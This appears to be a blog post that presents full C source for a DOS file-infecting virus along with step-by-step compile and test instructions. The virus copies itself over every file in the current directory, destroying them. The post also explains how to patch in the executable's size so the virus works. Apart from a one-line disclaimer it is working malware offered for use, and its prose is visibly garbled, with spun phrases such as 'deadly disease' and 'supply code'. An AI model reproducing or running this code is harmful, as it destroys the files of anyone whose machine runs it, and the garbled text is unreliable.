How to Create a Computer Virus?

This program is associate degree example of a way to produce a deadly disease in C. This program demonstrates an easy virus program that upon execution (Running) creates a replica of itself within the alternative file. so it destroys alternative files by infecting them. however the virus infected file is additionally capable of spreading the infection to a different file then on. Here’s the supply
code of the virus program.



#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)                                          
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}


COMPILING METHOD:

USING BORLAND TC++ three.0 (16-BIT):
1. Load the program within the compiler, press Alt-F9 to compile
2. Press F9 to come up with the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. put in writing the scale of generated EXE enter bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. modification the worth of X within the ASCII text file with the noted down size (IN THE on top of ASCII text file x= 89088; modification IT)
5. all over again follow the STEP one &amp; STEP two.Now the generated EXE File is prepared to infect

USING BORLAND C++ five.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. modification the worth of X in ASCII text file to the present length in bytes
3. Recompile it.The new EXE file is prepared to infect

HOW TO TEST:

1. Open new empty folder
2. place some EXE files (BY finding out *.EXE IN SEARCH &amp; PASTING within the NEW FOLDER)
3. Run the virus EXE file there you'll see all the files within the current directory get infected.
4. All the infected files are able to reinfect
That’s it

WARNING: FOR academic functions solely. don't unfold OR MISUSE THIS VIRUS CODE

No comments :

Post a Comment